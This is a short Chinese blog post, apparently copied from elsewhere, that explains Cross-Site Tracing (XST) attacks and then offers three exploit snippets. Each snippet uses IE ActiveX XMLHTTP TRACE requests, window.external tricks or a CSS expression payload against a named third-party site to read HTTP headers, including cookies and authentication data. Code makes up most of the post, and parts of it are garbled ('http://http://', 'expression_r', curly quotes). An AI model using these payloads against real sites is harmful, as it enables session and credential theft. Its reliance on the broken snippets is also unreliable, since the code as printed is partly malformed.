XST攻击

XST攻击描述:

攻击者将恶意代码嵌入一台已经被控制的主机上的web文件,当访问者浏览时恶意代码在浏览器中执行,然后访问者的cookie、http基本验证以及htlm验证信息将被发送到已经被控制的主机,同时传送Trace请求给目标主机,导致cookie欺骗或者是中间人攻击。

XST攻击条件:

1、需要目标web服务器允许Trace参数;
2、需要一个用来插入XST代码的地方;
3、目标站点存在跨域漏洞。

XST与XSS的比较:

相同点:都具有很大的欺骗性,可以对受害主机产生危害,而且这种攻击是多平台多技术的,我们还可以利用Active控件、Flash、Java等来进行XST和XSS攻击。
优点:可以绕过一般的http验证以及NTLM验证

利用手法1

1
2
3
4
5
6
7
8
9
10
11
12
<script type="text/javascript">
<!--
function xssTRACE(){
var xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE","http://wmjie.51.net/swords/",false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}
//-->
</script>
<INPUT TYPE=BUTTON onClick="xssTRACE();" VALUE=’XSS TRACE’>

利用手法2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<script type="text/javascript">
<!--
function xssTRACE() {
var openWin=open("blank.htm","swords","width=500,height=400");
var otraceswords=openWin.external;
openWin.location.href="http://wmjie.51.net/swords/";
setTimeout(
function () {
//以下必须写在一行
otraceswords.NavigateAndFind
(’javascript:xmlHttp=new
ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE","http://wmjie.51.net/swords/",false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;alert("不用documents.cookie
显示站点wmjie.51.net/swords/ 的头信息。\\n" + xmlDoc);’,"","");
},
1024
);
}
//-->
</script>
<INPUT TYPE=BUTTON onClick="xssTRACE();" VALUE=’XSS TRACE’>

利用手法3

1
2
3
4
5
6
7
8
9
10
11
12
13
<script type="text/javascript">
function xssTRACE(){
var swords="var xmlHttp =new ActiveXObject(\"Microsoft.XMLHTTP\")\;
xmlHttp.open(\"TRACE\",\"http://http://www.tingh.com/\",false)\;
xmlHttp.send()\;xmlDoc=xmlHttp.responseText\;alert(xmlDoc)\;";
var target = "http://wmjie.51.net/swords/";
spinach = encodeURIComponent(swords + ’;top.close()’);
var readyCode = ’font-size:
expression_r(execScript(decodeURIComponent("’ + spinach + ’")))’;
showModalDialog(target, null, readyCode);
}
</script>
<INPUT TYPE=BUTTON onClick="xssTRACE()" VALUE=’XSS TRACE’>

文章摘录自网络,出处忘了,仅供自阅

sign Bman

-------------本文结束感谢浏览-------------